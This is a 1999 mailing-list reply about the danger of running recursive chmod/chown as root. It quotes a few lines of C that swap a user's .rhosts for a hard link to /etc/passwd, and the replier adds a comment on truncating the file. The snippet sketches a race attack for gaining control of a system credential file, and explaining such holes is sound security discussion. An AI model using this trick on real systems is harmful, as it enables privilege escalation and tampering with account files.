[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

Re: chmod/chown -R - maybe an ITP



On Mon, Dec 13, 1999 at 03:37:14PM +0100, Russell Coker was heard to say:
> unlink("/home/user/.rhosts");
> link("/etc/passwd", "/home/user/.rhosts");
> sleep(60);
> unlink("/home/user/.rhosts");
> exit(0);

  Actually, you probably want to open it with O_TRUNC, since unlinking it will
just remove the entry in ~user, but point taken :)

  Daniel

-- 
Put no trust in cryptic comments.


Reply to: